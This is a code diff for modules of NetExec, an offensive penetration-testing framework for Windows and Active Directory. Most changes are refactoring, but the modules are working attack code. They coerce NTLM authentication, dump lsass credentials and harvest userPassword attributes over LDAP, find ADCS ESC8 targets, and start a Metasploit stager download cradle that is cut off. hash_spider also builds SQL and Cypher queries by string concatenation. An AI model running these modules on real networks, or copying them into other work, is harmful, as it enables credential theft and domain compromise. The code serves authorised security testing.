     def on_login(self, context, connection):
+        self.context = context
         """On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
         context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
         self.baseDN = connection.ldapConnection._baseDN
@@ -516,6 +515,8 @@ class NXCModule:
         # If a principal has been specified, only the ACE where he is the trustee will be printed
         for parsed_ace in parsed_dacl:
             print_ace = True
+            context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
+
             # Filter on specific rights
             if self.rights is not None:
                 try:
@@ -528,7 +529,7 @@ class NXCModule:
                     if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on specific right GUID
             if self.rights_guid is not None:
@@ -536,7 +537,7 @@ class NXCModule:
                     if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on ACE type
             if self.ace_type == "allowed":
@@ -544,13 +545,13 @@ class NXCModule:
                     if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
             else:
                 try:
                     if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on trusted principal
             if self.principal_sid is not None:
@@ -558,7 +559,7 @@ class NXCModule:
                     if self.principal_sid not in parsed_ace["Trustee (SID)"]:
                         print_ace = False
                 except Exception as e:
-                    context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
+                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
             if print_ace:
                 self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
                 self.print_parsed_ace(parsed_ace)

nxc/modules/dfscoerce.py

@@ -2,7 +2,7 @@ from impacket import system_errors
 from impacket.dcerpc.v5 import transport
 from impacket.dcerpc.v5.ndr import NDRCALL
 from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
-from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
 from impacket.uuid import uuidtup_to_bin
 from nxc.logger import nxc_logger
 
@@ -33,9 +33,9 @@ class NXCModule:
             domain=connection.domain,
             lmhash=connection.lmhash,
             nthash=connection.nthash,
-            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
+            target=connection.host,
             doKerberos=connection.kerberos,
-            dcHost=connection.kdcHost,
+            kdcHost=connection.kdcHost,
             aesKey=connection.aesKey,
         )
 
@@ -95,8 +95,9 @@ class NetrDfsAddRootResponse(NDRCALL):
 
 
 class TriggerAuth:
-    def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
+    def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, kdcHost):
         rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
+        rpctransport.setRemoteHost(target)
         if hasattr(rpctransport, "set_credentials"):
             rpctransport.set_credentials(
                 username=username,
@@ -108,11 +109,12 @@ class TriggerAuth:
             )
 
         if doKerberos:
-            rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
-        # if target:
+            rpctransport.set_kerberos(doKerberos, kdcHost)
 
-        rpctransport.setRemoteHost(target)
         dce = rpctransport.get_dce_rpc()
+        if doKerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+
         nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
         try:
             dce.connect()
@@ -134,8 +136,7 @@ class TriggerAuth:
             request["ServerName"] = f"{listener}\x00"
             request["RootShare"] = "test\x00"
             request["ApiFlags"] = 1
-            if self.args.verbose:
-                nxc_logger.debug(request.dump())
+            nxc_logger.debug(request.dump())
             dce.request(request)
 
         except Exception as e:

nxc/modules/enum_av.py

@@ -5,6 +5,7 @@
 
 from impacket.dcerpc.v5 import lsat, lsad, transport
 from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
 import pathlib
 
 
@@ -35,7 +36,7 @@ class NXCModule:
         results = self._detect_installed_services(context, connection, target)
         self.detect_running_processes(context, connection, results)
 
-        self.dump_results(results, connection.hostname, context)
+        self.dump_results(results, context)
 
     def _get_target(self, connection):
         return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
@@ -50,7 +51,8 @@ class NXCModule:
                 password=connection.password,
                 remote_name=target,
                 do_kerberos=connection.kerberos,
-                kdcHost=connection.domain,
+                remoteHost=connection.host,
+                kdcHost=connection.kdcHost,
                 lmhash=connection.lmhash,
                 nthash=connection.nthash,
                 aesKey=connection.aesKey
@@ -58,18 +60,16 @@ class NXCModule:
 
             dce, _ = lsa.connect()
             policyHandle = lsa.open_policy(dce)
-            try:
-                for product in conf["products"]:
-                    for service in product["services"]:
+            for product in conf["products"]:
+                for service in product["services"]:
+                    try:
                         lsa.LsarLookupNames(dce, policyHandle, service["name"])
                         context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
                         results.setdefault(product["name"], {"services": []})["services"].append(service)
-            except Exception:
-                pass
-
+                    except Exception:
+                        pass
         except Exception as e:
             context.log.fail(str(e))
-
         return results
 
     def detect_running_processes(self, context, connection, results):
@@ -80,13 +80,16 @@ class NXCModule:
                 for product in conf["products"]:
                     for pipe in product["pipes"]:
                         if pathlib.PurePath(fl).match(pipe["name"]):
-                            context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
+                            context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
                             prod_results = results.setdefault(product["name"], {})
                             prod_results.setdefault("pipes", []).append(pipe)
         except Exception as e:
-            context.log.debug(str(e))
+            if "STATUS_ACCESS_DENIED" in str(e):
+                context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
+            else:
+                context.log.fail(str(e))
 
-    def dump_results(self, results, remoteName, context):
+    def dump_results(self, results, context):
         if not results:
             context.log.highlight("Found NOTHING!")
             return
@@ -119,6 +122,7 @@ class LsaLookupNames:
         password="",
         remote_name="",
         do_kerberos=False,
+        remoteHost="",
         kdcHost="",
         lmhash="",
         nthash="",
@@ -133,7 +137,8 @@ class LsaLookupNames:
         self.lmhash = lmhash
         self.nthash = nthash
         self.aesKey = aesKey
-        self.dcHost = kdcHost
+        self.kdcHost = kdcHost
+        self.remoteHost = remoteHost
 
     def connect(self, string_binding=None, iface_uuid=None):
         """Obtains a RPC Transport and a DCE interface according to the bindings and
@@ -146,6 +151,7 @@ class LsaLookupNames:
             raise NotImplementedError("String binding must be defined")
 
         rpc_transport = transport.DCERPCTransportFactory(string_binding)
+        rpc_transport.setRemoteHost(self.remoteHost)
 
         # Set timeout if defined
         if self.timeout:
@@ -157,14 +163,13 @@ class LsaLookupNames:
             rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
 
         if self.doKerberos:
-            rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
+            rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
 
         # Gets the DCE RPC object
         dce = rpc_transport.get_dce_rpc()
 
-        # Set the authentication level
-        if self.authn_level:
-            dce.set_auth_level(self.authn_level)
+        if self.doKerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
 
         # Connect
         dce.connect()
@@ -261,7 +266,10 @@ conf = {
                 {"name": "epfw", "description": "ESET"},
                 {"name": "epfwlwf", "description": "ESET"},
                 {"name": "epfwwfp", "description": "ESET"},
-                {"name": "EraAgentSvc", "description": "ESET"},
+                {"name": "EraAgentSvc", "description": "ESET Management Agent service"},
+                {"name": "ERAAgent", "description": "ESET Management Agent service"},
+                {"name": "efwd", "description": "ESET Communication Forwarding Service"},
+                {"name": "ehttpsrv", "description": "ESET HTTP Server"},
             ],
             "pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
         },

nxc/modules/enum_ca.py

@@ -0,0 +1,109 @@
+from impacket.dcerpc.v5 import transport, epm
+from impacket.http import AUTH_NTLM
+from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
+    RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
+    RPC_PROXY_RPC_OUT_DATA_404_ERR
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
+from impacket import uuid
+import requests
+
+
+class NXCModule:
+    """
+    -------
+    Module by @0xjbb, original code from Impacket rpcdump.py
+    """
+    KNOWN_PROTOCOLS = {
+        135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
+        139: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
+        443: {"bindstr": r"ncacn_http:[593,RpcProxy=%s:443]"},
+        445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
+        593: {"bindstr": r"ncacn_http:%s"}
+    }
+
+    name = "enum_ca"
+    description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
+    supported_protocols = ["smb"]  # Example: ['smb', 'mssql']
+    opsec_safe = True  # Does the module touch disk?
+    multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+
+    def options(self, context, module_options):
+        pass
+
+    def on_login(self, context, connection):
+        self.__username = connection.username
+        self.__password = connection.password
+        self.__domain = connection.domain
+        self.__lmhash = ""
+        self.__nthash = ""
+        self.__port = 135.
+        self.__stringbinding = ""
+
+        if context.hash and ":" in context.hash[0]:
+            hashList = context.hash[0].split(":")
+            self.__nthash = hashList[-1]
+            self.__lmhash = hashList[0]
+        elif context.hash and ":" not in context.hash[0]:
+            self.__nthash = context.hash[0]
+            self.__lmhash = "00000000000000000000000000000000"
+
+        self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]["bindstr"] % connection.host
+        context.log.debug(f"StringBinding {self.__stringbinding}")
+
+        rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
+
+        if self.__port in [139, 445]:
+            # Setting credentials for SMB
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+            rpctransport.setRemoteHost(connection.host)
+            rpctransport.set_dport(self.__port)
+        elif self.__port in [443]:
+            # Setting credentials only for RPC Proxy, but not for the MSRPC level
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+            rpctransport.set_auth_type(AUTH_NTLM)
+        else:
+            rpctransport.setRemoteHost(connection.host)
+
+        try:
+            entries = self.__fetchList(connection.kerberos, rpctransport)
+        except Exception as e:
+            error_text = f"Protocol failed: {e}"
+            context.log.fail(error_text)
+
+            if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
+               RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
+               RPC_PROXY_CONN_A1_404_ERR in error_text or \
+               RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
+                context.log.fail("This usually means the target does not allow "
+                                 "to connect to its epmapper using RpcProxy.")
+                return
+        for entry in entries:
+            tmpUUID = str(entry["tower"]["Floors"][0])
+
+            if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
+                exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
+                context.log.debug("EXEs %s" % exename)
+                if exename == "certsrv.exe":
+                    context.log.highlight("Active Directory Certificate Services Found.")
+                    url = f"http://{connection.host}/certsrv/certfnsh.asp"
+                    context.log.highlight(url)
+                    try:
+                        response = requests.get(url, timeout=5)
+                        if response.status_code == 401 and "WWW-Authenticate" in response.headers and "ntlm" in response.headers["WWW-Authenticate"].lower():
+                            context.log.highlight("Web enrollment found on HTTP (ESC8).")
+                    except requests.RequestException as e:
+                        context.log.debug(e)
+                    return
+
+    def __fetchList(self, doKerberos, rpctransport):
+        dce = rpctransport.get_dce_rpc()
+        if doKerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+        dce.connect()
+        resp = epm.hept_lookup(None, dce=dce)
+        dce.disconnect()
+        return resp

nxc/modules/enum_trusts.py

@@ -17,12 +17,11 @@ class NXCModule:
         pass
 
     def on_login(self, context, connection):
-        domain_dn = ",".join(["DC=" + dc for dc in connection.domain.split(".")])
         search_filter = "(&(objectClass=trustedDomain))"
         attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
 
         context.log.debug(f"Search Filter={search_filter}")
-        resp = connection.ldapConnection.search(searchBase=domain_dn, searchFilter=search_filter, attributes=attributes, sizeLimit=0)
+        resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
 
         trusts = []
         context.log.debug(f"Total of records returned {len(resp)}")

nxc/modules/example_module.py

@@ -12,9 +12,9 @@ class NXCModule:
     opsec_safe = True  # Does the module touch disk?
     multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
 
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
+    def __init__(self):
+        self.context = None
+        self.module_options = None
 
     def options(self, context, module_options):
         """Required.

nxc/modules/get-desc-users.py

@@ -31,7 +31,7 @@ class NXCModule:
             self.MINLENGTH = module_options["MINLENGTH"]
         if "PASSWORDPOLICY" in module_options:
             self.PASSWORDPOLICY = True
-            self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}")  # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
+            self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$")  # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
 
     def on_login(self, context, connection):
         """Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
@@ -102,6 +102,11 @@ class NXCModule:
                     if self.regex.search(description):
                         conditionPasswordPolicy = True
 
-                if (conditionFilter == self.FILTER) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
+                if conditionFilter and not self.PASSWORDPOLICY:
+                    context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
+                elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
                     answersFiltered.append([answer[0], description])
+                elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
+                    context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
+                    
         return answersFiltered

nxc/modules/get-unixUserPassword.py

@@ -0,0 +1,63 @@
+from impacket.ldap import ldapasn1 as ldapasn1_impacket
+from impacket.ldap import ldap as ldap_impacket
+from nxc.logger import nxc_logger
+
+
+class NXCModule:
+    """
+    Get unixUserPassword attribute from all users in ldap
+    Module by @SyzikSecu
+    """
+
+    name = "get-unixUserPassword"
+    description = "Get unixUserPassword attribute from all users in ldap"
+    supported_protocols = ["ldap"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def options(self, context, module_options):
+        """
+        """
+
+    def on_login(self, context, connection):
+        searchFilter = "(objectclass=user)"
+
+        try:
+            context.log.debug(f"Search Filter={searchFilter}")
+            resp = connection.ldapConnection.search(
+                searchFilter=searchFilter,
+                attributes=["sAMAccountName", "unixUserPassword"],
+                sizeLimit=0,
+            )
+        except ldap_impacket.LDAPSearchError as e:
+            if e.getErrorString().find("sizeLimitExceeded") >= 0:
+                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
+                resp = e.getAnswers()
+            else:
+                nxc_logger.debug(e)
+                return False
+
+        answers = []
+        context.log.debug(f"Total of records returned {len(resp)}")
+        for item in resp:
+            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+                continue
+            sAMAccountName = ""
+            unixUserPassword = []
+            try:
+                for attribute in item["attributes"]:
+                    if str(attribute["type"]) == "sAMAccountName":
+                        sAMAccountName = str(attribute["vals"][0])
+                    elif str(attribute["type"]) == "unixUserPassword":
+                        unixUserPassword = [str(i) for i in attribute["vals"]]
+                if sAMAccountName != "" and len(unixUserPassword) > 0:
+                    answers.append([sAMAccountName, unixUserPassword])
+            except Exception as e:
+                context.log.debug("Exception:", exc_info=True)
+                context.log.debug(f"Skipping item, cannot process due to error {e!s}")
+        if len(answers) > 0:
+            context.log.success("Found following users: ")
+            for answer in answers:
+                context.log.highlight(f"User: {answer[0]} unixUserPassword: {answer[1]}")
+        else:
+            context.log.fail("No unixUserPassword Found")

nxc/modules/get-userPassword.py

@@ -0,0 +1,63 @@
+from impacket.ldap import ldapasn1 as ldapasn1_impacket
+from impacket.ldap import ldap as ldap_impacket
+from nxc.logger import nxc_logger
+
+
+class NXCModule:
+    """
+    Get userPassword attribute from all users in ldap
+    Module by @SyzikSecu
+    """
+
+    name = "get-userPassword"
+    description = "Get userPassword attribute from all users in ldap"
+    supported_protocols = ["ldap"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def options(self, context, module_options):
+        """
+        """
+
+    def on_login(self, context, connection):
+        searchFilter = "(objectclass=user)"
+
+        try:
+            context.log.debug(f"Search Filter={searchFilter}")
+            resp = connection.ldapConnection.search(
+                searchFilter=searchFilter,
+                attributes=["sAMAccountName", "userPassword"],
+                sizeLimit=0,
+            )
+        except ldap_impacket.LDAPSearchError as e:
+            if e.getErrorString().find("sizeLimitExceeded") >= 0:
+                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
+                resp = e.getAnswers()
+            else:
+                nxc_logger.debug(e)
+                return False
+
+        answers = []
+        context.log.debug(f"Total of records returned {len(resp)}")
+        for item in resp:
+            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+                continue
+            sAMAccountName = ""
+            userPassword = []
+            try:
+                for attribute in item["attributes"]:
+                    if str(attribute["type"]) == "sAMAccountName":
+                        sAMAccountName = str(attribute["vals"][0])
+                    elif str(attribute["type"]) == "userPassword":
+                        userPassword = [str(i) for i in attribute["vals"]]
+                if sAMAccountName != "" and len(userPassword) > 0:
+                    answers.append([sAMAccountName, userPassword])
+            except Exception as e:
+                context.log.debug("Exception:", exc_info=True)
+                context.log.debug(f"Skipping item, cannot process due to error {e!s}")
+        if len(answers) > 0:
+            context.log.success("Found following users: ")
+            for answer in answers:
+                context.log.highlight(f"User: {answer[0]} userPassword: {answer[1]}")
+        else:
+            context.log.fail("No userPassword Found")

nxc/modules/hash_spider.py

@@ -70,11 +70,7 @@ def create_db(local_admins, dbconnection, cursor):
 
 
 def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
-    if connection.args.local_auth:
-        context.log.extra["host"] = connection.conn.getServerDNSDomainName()
-    else:
-        context.log.extra["host"] = connection.domain
-    context.log.extra["hostname"] = connection.host.upper()
+    domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
     for result in credentials_data:
         username = result["username"].upper().split("@")[0]
         nthash = result["nthash"]
@@ -85,7 +81,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
                 "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
                 [password],
             )
-            username = f"{username.upper()}@{context.log.extra['host'].upper()}"
+            username = f"{username.upper()}@{domain.upper()}"
             dbconnection.commit()
             session = driver.session()
             session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
@@ -99,7 +95,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
                 [nthash],
             )
             dbconnection.commit()
-            username = f"{username.upper()}@{context.log.extra['host'].upper()}"
+            username = f"{username.upper()}@{domain.upper()}"
             session = driver.session()
             session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
             path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
@@ -146,7 +142,7 @@ class NXCModule:
 
     @staticmethod
     def save_credentials(context, connection, domain, username, password, lmhash, nthash):
-        host_id = context.db.get_computers(connection.host)[0][0]
+        host_id = context.db.get_hosts(connection.host)[0][0]
         if password is not None:
             credential_type = "plaintext"
         else:
@@ -202,7 +198,7 @@ class NXCModule:
         if file is None:
             context.log.fail("Unable to dump lsass")
             return False
-        credentials, tickets, masterkeys = Parser(file).parse()
+        credentials, tickets, masterkeys = Parser(host, file).parse()
         file.close()
         ImpacketFile.delete(session, file.get_file_path())
         if credentials is None:

nxc/modules/iis.py

@@ -37,7 +37,7 @@ class NXCModule:
             return
 
     def execute_appcmd(self, context, connection):
-        command = "powershell -c 'C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*'"
+        command = 'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
         context.log.info("Checking For Hidden Credentials With Appcmd.exe")
         output = connection.execute(command, True)
 

nxc/modules/ioxidresolver.py

@@ -23,6 +23,7 @@ class NXCModule:
 
         stringBinding = r"ncacn_ip_tcp:%s" % connection.host
         rpctransport = transport.DCERPCTransportFactory(stringBinding)
+        rpctransport.setRemoteHost(connection.host)
 
         portmap = rpctransport.get_dce_rpc()
         portmap.set_auth_level(authLevel)

nxc/modules/ldap-checker.py

@@ -39,10 +39,15 @@ class NXCModule:
         async def run_ldaps_noEPA(target, credential):
             ldapsClientConn = MSLDAPClientConnection(target, credential)
             _, err = await ldapsClientConn.connect()
+            
+            # Required step to try to bind without channel binding
+            ldapsClientConn.cb_data = None
+
             if err is not None:
                 context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
                 sys.exit()
-            _, err = await ldapsClientConn.bind()
+
+            valid, err = await ldapsClientConn.bind()
             if "data 80090346" in str(err):
                 return True  # channel binding IS enforced
             elif "data 52e" in str(err):
@@ -87,11 +92,12 @@ class NXCModule:
         def DoesLdapsCompleteHandshake(dcIp):
             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             s.settimeout(5)
-            ssl_sock = ssl.wrap_socket(
+            ssl_context = ssl.create_default_context()
+            ssl_context.check_hostname = False
+            ssl_sock = ssl_context.wrap_socket(
                 s,
-                cert_reqs=ssl.CERT_OPTIONAL,
-                suppress_ragged_eofs=False,
                 do_handshake_on_connect=False,
+                suppress_ragged_eofs=False,
             )
             ssl_sock.connect((dcIp, 636))
             try:
@@ -114,19 +120,30 @@ class NXCModule:
         # requirements are enforced based on potential errors
         # during the bind attempt.
         async def run_ldap(target, credential):
-            ldapsClientConn = MSLDAPClientConnection(target, credential)
-            _, err = await ldapsClientConn.connect()
-            if err is None:
-                _, err = await ldapsClientConn.bind()
-                if "stronger" in str(err):
-                    return True  # because LDAP server signing requirements ARE enforced
-                elif ("data 52e") in str(err):
-                    context.log.fail("Not connected... exiting")
-                    sys.exit()
-                elif err is None:
+            try:
+                ldapsClientConn = MSLDAPClientConnection(target, credential)
+                ldapsClientConn._disable_signing = True
+                _, err = await ldapsClientConn.connect()
+                if err is not None:
+                    context.log.fail(str(err))
                     return False
-            else:
-                context.log.fail(str(err))
+                
+                _, err = await ldapsClientConn.bind()
+                if err is not None:
+                    errstr = str(err).lower()
+                    if "stronger" in errstr:
+                        return True 
+                        # because LDAP server signing requirements ARE enforced
+                    else:
+                        context.log.fail(str(err))
+                else:
+                    # LDAPS bind successful
+                    return False 
+                    # because LDAP server signing requirements are not enforced
+            except Exception as e:
+                context.log.debug(str(e))
+                return False
+              
 
         # Run trough all our code blocks to determine LDAP signing and channel binding settings.
         stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
@@ -139,7 +156,16 @@ class NXCModule:
                 stype=stype,
             )
         else:
-            kerberos_target = UniTarget(connection.hostname + "." + connection.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=connection.domain, domain=connection.domain)
+            kerberos_target = UniTarget(
+                connection.host,
+                88,
+                UniProto.CLIENT_TCP,
+                hostname=connection.remoteName,
+                dc_ip=connection.kdcHost,
+                domain=connection.domain,
+                proxies=None,
+                dns=None,
+            )
             credential = KerberosCredential(
                 target=kerberos_target,
                 secret=secret,
@@ -148,9 +174,8 @@ class NXCModule:
                 stype=stype,
             )
 
-        target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
+        target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
         ldapIsProtected = asyncio.run(run_ldap(target, credential))
-
         if ldapIsProtected is False:
             context.log.highlight("LDAP Signing NOT Enforced!")
         elif ldapIsProtected is True:
@@ -160,9 +185,9 @@ class NXCModule:
             sys.exit()
 
         if DoesLdapsCompleteHandshake(connection.host) is True:
-            target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
+            target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
             ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
-            target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
+            target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
             ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
             if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
                 context.log.highlight('LDAPS Channel Binding is set to "When Supported"')

nxc/modules/lsassy.py

@@ -64,7 +64,7 @@ class NXCModule:
             context.log.fail("Unable to dump lsass")
             return False
 
-        parsed = Parser(file).parse()
+        parsed = Parser(host, file).parse()
         if parsed is None:
             context.log.fail("Unable to parse lsass dump")
             return False

nxc/modules/maq.py

@@ -14,7 +14,7 @@ class NXCModule:
     def options(self, context, module_options):
         pass
 
-    name = "MAQ"
+    name = "maq"
     description = "Retrieves the MachineAccountQuota domain-level attribute"
     supported_protocols = ["ldap"]
     opsec_safe = True

nxc/modules/masky.py

@@ -37,7 +37,7 @@ class NXCModule:
 
     def on_admin_login(self, context, connection):
         if not self.ca:
-            context.log.fail("Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
+            context.log.fail(r"Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
             return False
 
         host = connection.host

nxc/modules/met_inject.py

@@ -27,6 +27,8 @@ class NXCModule:
         SRVPORT     Stager port
         RAND        Random string given by metasploit (if using web_delivery)
         SSL         Stager server use https or http (default: https)
+        
+        This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
 
         multi/handler method that don't require RAND:
             Set LHOST and LPORT (called SRVHOST and SRVPORT in nxc module options)
@@ -35,8 +37,11 @@ class NXCModule:
                 windows/x64/powershell_reverse_tcp_ssl
         Web Delivery Method (exploit/multi/script/web_delivery):
             Set SRVHOST and SRVPORT
+            Set target 2 (PSH)
             Set payload to what you want (windows/meterpreter/reverse_https, etc)
-            after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
+                check compatabile payloads with `show payloads`
+            Optional: SET URIPATH {custom}
+            After running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that, or whatever you set URIPATH to
         """
         self.met_ssl = "https"
 
@@ -53,24 +58,19 @@ class NXCModule:
         self.srvport = module_options["SRVPORT"]
 
     def on_admin_login(self, context, connection):
-        # stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
-        command = """$url="{}://{}:{}/{}"
